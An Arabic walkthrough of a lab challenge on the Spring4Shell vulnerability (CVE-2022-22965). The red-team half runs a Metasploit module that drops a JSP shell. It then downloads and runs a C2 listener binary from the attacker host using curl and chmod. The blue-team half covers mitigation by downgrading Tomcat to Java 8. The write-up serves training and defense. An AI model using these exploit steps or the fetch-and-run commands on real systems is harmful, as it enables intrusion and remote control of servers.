دليل خطوة بخطوة لاستغلال CVE-2022-22965 (Spring4Shell) باستخدام Metasploit، ونشر مستمع C2، وتخفيف الثغرة عن طريق خفض الإصدار إلى Java 8 على خادم Tomcat.
يوثق هذا الدليل إتمام تحدي صندوق الرمل الذي يركز على CVE-2022-22965، المعروف باسم Spring4Shell — وهي ثغرة تنفيذ تعليمات برمجية عن بُعد حرجة (CVSS 9.8/10) تؤثر على إصدارات معينة من إطار عمل Spring Java. يغطي التحدي كلاً من المنظور الهجومي (الفريق الأحمر) والمنظور الدفاعي (الفريق الأزرق) للثغرة.
ملاحظة: تعكس الأوامر ومسارات الملفات في هذا الدليل البيئة المحددة المستخدمة خلال هذه المحاولة. قد تختلف بيئتك — قم بتعديل المسارات وعناوين IP وأسماء الملفات وفقًا لذلك.
| الجهاز | عنوان IP | الدور |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | جهاز هجوم وعمل |
| الهدف الأحمر (Linux) | 172.16.100.90 | هدف الاستغلال |
| الهدف الأزرق (Linux) | 172.16.100.100 | هدف التعزيز |
بيانات الاعتماد: playerone / password123
تم مراجعة علامة تبويب خريطة الشبكة في لوحة التحدي لتأكيد عنوان IP للهدف الأحمر (172.16.100.90). تم استخدام curl لفحص تطبيق الويب الذي يعمل على المنفذ 80:
curl http://172.16.100.90
كشف الإخراج عن Apache Tomcat 9.0.59 مع إعادة توجيه إلى /dasmsp. تم تصفح مصدر الصفحة لتحديد نقطة نهاية نموذج POST عند /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
نجح الاستغلال في إنشاء شل JSP، وتعديل محمل الفئات، ومسح ملف السجل، وفتح جلسة شل أوامر على الهدف الأحمر.
بعد فتح الجلسة، تم إدخال shell للترقية إلى شل تفاعلي. حدد Metasploit موقع /usr/bin/script على الهدف واستخدمه لإظهار شل تفاعلي كمستخدم tomcat.
كان الثنائي deploy_c2 موجودًا على Security-Desk، وليس على الهدف الأحمر. تم استضافته عبر خادم HTTP Python3 على Security-Desk:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
تم تنزيله وتنفيذه من داخل جلسة شل الهدف الأحمر:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
أكد الإخراج: Done! — تم نشر مستمع C2 بنجاح على الهدف الأحمر.
كلمة المرور: password123
كانت حزم Java 8 .deb موجودة على Security-Desk في /home/playerone/Desktop/Resources/. تم نقلها إلى الهدف الأزرق باستخدام SCP من طرفية Security-Desk:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
الحزم المنقولة:
في جلسة SSH للهدف الأزرق:
sudo dpkg -i /tmp/*.deb
بسبب مشكلة معروفة في التحدي، لا يتم تسجيل الفحص بشكل صحيح دون تعيين Java 8 كافتراضي يدويًا:
sudo update-alternatives --config java
تم تحديد الخيار 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
تم فحص ملف وحدة خدمة Tomcat:
cat /etc/systemd/system/tomcat.service
تم تحرير الملف لتحديث متغير البيئة JAVA_HOME:
sudo nano /etc/systemd/system/tomcat.service
تم التغيير من:
Environment="JAVA_HOME=/usr"
إلى:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
تحول فحص تخفيف CVE-2022-22965 على الهدف الأزرق إلى اللون الأخضر في لوحة التحدي.
spring_framework_rce_spring4shell)